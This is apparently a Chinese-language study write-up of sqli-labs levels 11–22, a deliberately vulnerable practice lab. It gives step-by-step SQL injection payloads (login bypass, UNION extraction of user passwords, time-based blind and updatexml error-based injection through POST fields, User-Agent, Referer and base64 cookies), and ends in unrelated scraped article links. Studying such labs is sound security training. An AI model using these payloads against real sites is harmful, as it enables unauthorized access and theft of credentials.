sqli-libs(11-22关)
Less_11
点开11关出现登录页面:
1.可以随便输密码和账号,submit之后出现错误,可以看到查询username和password用and连接放在同一个SQL语句中
打开使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit
打开post data 将uname=admin&passwd=admin&submit=submit复制过来进行修改,输入:uname=admin' or 1=1 #&passwd=admin&submit=Submit即可登陆成功:(此处不能使用--+,需要使用#,--+是在url中使用),可验证存在注入漏洞。
2.输入:uname=admin' or 1=1 limit 0,1# &passwd=123&submit=Submit,得到第一个用户名和密码。
limit 0,1是对第一个用户和密码进行 通过修改第一个数,得到其他的登录用户名
3.uname=a' order by 3 #&passwd=a&submit=Submitt或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。
4. uname =a&passwd=a’union select database(),2 # &submit=Submit
查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。
5.uname=a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #&passwd=a&submit=Submit可以查询到当前的第一个数据库,或uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据
6.uname=a'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' # &passwd=admin&submit=Submit可以得到/security数据库中的所有表信息
7.uname=a'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # &passwd=admin&submit=Submit可以得到users表中所有字段的信息:
8.uname=a'union select 1,group_concat(concat_ws(0x7e,username,password))from security.users # &passwd=admin&submit=Submit可以得到所有数据库中的账号密码;
Less11总结:
Less12
less12使用(”a”)包裹,其他操作同less11相同。
Less_13
Less_13 使用(’a’)包裹 不返回结果,我们使用盲注进行破解
1.使用uname=ain') or if(length(database())>1,1,sleep(5))#&passwd=admin&submit=Submit,黄色字体用来判断数据库字符长度为几,当判断的正确时则立即显示登陆成功,若判断错误,则反映五秒:
uname=ain') or if(length(database())=8,1,sleep(5))#&passwd=admin&submit=Submit判断出数据库长度为8;
uname=ain') or left(database(),1)>'a' #&passwd=admin&submit=Submit用or和left来猜解第一个字符是多少
suname=ain') or left(database(),2)='se' #&passwd=admin&submit=Submit通过这样一个一个判断即可
uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit使用这种方法也可以判断
后面可以用less11方法推测表,列。
Less_14
Less-14使用”a”进行包裹,其他操作与less13基本一致。
Less_15
Less-15使用’admin’进行包裹,其他操作与less13基本一致。
Less_16
Less-16使用”admin”进行包裹,其他操作与less13基本。
Less_17
补充知识:
首先在第十七关index.php里面添加echo $sql; echo “<br>”和echo $update; echo “<br>”;
输入uname=admin'#&passwd=afafa&submit=Submit,不会有更新的那一条语句
输入uname=admin&passwd=afafa'#&submit=Submit,就有更新的那一条语句,所以在passwd里对语句进行更改
首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息,
uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit可查询数据库
uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 0,1)),1) #&submit=Submit可查询到secuurity库下面的其中一个表的名字
uname=admin&passwd=afafa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name ='users' limit 0,1),0x7e),1)#&submit=Submit可得到secuurity.users里的其中一个列的名字
Less17总结:
Less_18
登陆失败会显示ip地址:
首先我们可以使用mysql命令查看users里的用户名和对应的密码:
也可以重置数据库:
登陆成功后会显示IP地址和user agent,
在php文件中添加 echo $insert; echo "<br>";
再次执行则会显示:
打开burpsuite:
将黄线处修改为:
第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1
第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#
修改为:
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')# 查询到库
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1), '','')# 查询到表
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1), '','')#
查询到列
' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')# 查询到字段
Less18总结:
Less_19
注册登录再注入登陆成功显示的是referer信息:
登陆失败是没有回显信息的:
通过insert语句进行分析
INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')
分析后得知,需要进行闭合操作,两种方法:
(1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#
less19总结:
Less_20
注册登录再注入;
.使用admin,admin登录成功会显示cookie:
登录失败会显示失败信息
使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO:下图说明有注入漏洞:
查看列数:uname=' order by 5/3 # 通过二分法实验得到列数为3
看回显位置:uname=’union select 1,2,3#:
查库uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#
查表uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#
查字段uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#
查字段中信息uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#
Less20总结:
Less_21
使用’)包裹
使用admin,admin登录之后, 使用burp suite工具 刷新出来cookie,
使用https://base64.us/ 进行解码
修改cookie uname 后面的已经加密了的语句即可:
uname=')union select 1,2,database()# 编码后为: dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkjwqA=
查看列数:uname=') order by 3 # 编码为: Jykgb3JkZXIgYnkgMyAj
Less21总结:
Less_22
使用”包裹,其他操作与第21关相同
使用admin,admin登录后,使用burp suite工具 刷新出来cookie,
使用https://base64.us/ 进行解码
修改cookie uname 后面的已经加密了的语句即可:
" union select ,2,database()#
编码后为:IsKgdW5pb24gc2VsZWN0ICwyLGRhdGFiYXNlKCkj
sqli-libs(11-22关)的更多相关文章
- lambda的使用ret = filter(lambda x : x > 22 ,[11,22,33,44])
#!/usr/bin/env python #def f1(x) : # return x > 22 ret = filter(lambda x : x > 22 ,[11,22,33,4 ...
- #有如下值集合[11,22,33,44,55,66,77,88,99,90...],将所有大于66值保存至字典的一个key中,将小于66的值保存至大二个key的值
#!/usr/bin/env python #有如下值集合[11,22,33,44,55,66,77,88,99,90...],将所有大于66值保存至字典的一个key中,将小于66的值保存至大二个ke ...
- 08 集合[11,22,33,44,55,66,77,88,99],将所有<66的值保存至字典的第一个key中,将所有>=66的值保存至字典的第二个key中。即:{'k1':<66的所有值,'k2':>=66的所有值}
li = [11,22,33,44,55,66,77,88,99]dict = {'k1':[],'k2':[]}for i in li: if i < 66: dict[& ...
- 2017/11/22 Leetcode 日记
2017/11/22 Leetcode 日记 136. Single Number Given an array of integers, every element appears twice ex ...
- li = [11,22,33,44,55,66,77,88,99]分类
方法一: li = [11,22,33,44,55,66,77,88,99]s = []m = []for i in li: if i <= 55: s.append(i) else: m.ap ...
- Monyer's Game 11~15关过关方法
到目前为止,玩这个小游戏并过关的人数已经达到了81人,首先Monyer要感谢各位的捧场与支持.继续上次的<Monyer's Game 6~10关过关方法>,我们来看剩下几关的过关方法. 但 ...
- ROS(indigo) 语音工具 科大讯飞 百度 pocketsphinx julius rospeex 16.11.22更新 ROS中文语音
ROS语音工具汇总,目前先给出链接,只用过一些简单的命令. 中文语音: 参考链接:使用科大讯飞库 1 http://www.ncnynl.com/archives/201611/1069.html 2 ...
- sqli-labs通关----11~20关
第十一关 从第十一关开始,就开始用post来提交数据了,我们每关的目的都是获取users表下password字段的内容. post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常 ...
- 第11.22节 Python 中re模块的字符串分割器:split函数
一. 引言 在<第11.2节 Python 正则表达式支持函数概览>介绍了re模块的主要函数,在<第11.3节 Python正则表达式搜索支持函数search.match.fullm ...
- Sprint(第九天11.22)
随机推荐
- ProgressTimer 控件
let background = new cc.Sprite(fileName_background);this.addChild(background,999999);background.setP ...
- HTML的文档设置标记
1.格式标记 <br/> 强制换行标记 <p> 换段落标记 换段落,由于多个空格和回车在HTML中会被等效为一个空格,所以HTML中要换段落就要用<p>,<p ...
- 零Web知识个性化Blog
需要使用到的工具 Chrome Pycharm 自定主题的CSS 申请博客的Js权限 设置博客选项 打开Chrome修改查看CSS样式,Windows(F12),MacOS(Command+Optio ...
- hyper-v 80070057
微软官网搜索MediaCreation tool进行升级.
- PHP+jPaginate插件制作无刷新分页实例
jPaginate是一款动感滚动分页插件,它的表现形式是像分页的按钮一样,有意思的是这些按钮却可以左右滚动,可以通过单击或 鼠标滑向点两侧的小箭头来控制按钮的左右滚动. 读取第一页数据: <di ...
- 微信小程序图片设置圆角进入页面闪动
transform变形 当我们通过某些行为触发页面进行大面积绘制的时候,浏览器由于没有事先准备,应付渲染够呛,于是掉帧,于是卡顿.而will-change则是真正的行为触发之前告诉浏览器:“我待会儿就 ...
- 配置数据库属性validationQuery
配置数据库时,属性validationQuery默认值为“select 1”,对于oracle值应为“select 1 from dual” validationQuery属性:用来验证数据库连接的语 ...
- mysql(5):主从复制和分库分表
主从复制集群 概念:主从复制是指数据可以从一个MySQL数据库服务器主节点复制到一个或多个从节点. 使用场景: 读写分离:使用主从复制,让主库负责写,从库负责读,这样,即使主库出现了锁表的情景,通过读 ...
- STM32F103之定时器学习记录
/==============翻译STM32F103开发手册定时器部分========================/ 14 高级控制计时器(TIM1和TIM8) 14.1 TIM1和TIM8介绍 ...
- CF1288F Red-Blue Graph
Link 考虑上下界+费用流. 对于左部点\(u\): 如果颜色为\(B\),连\((s,u,[1,+\infty),0)\). 如果颜色为\(R\),连\((u,t,[1,+\infty),0)\) ...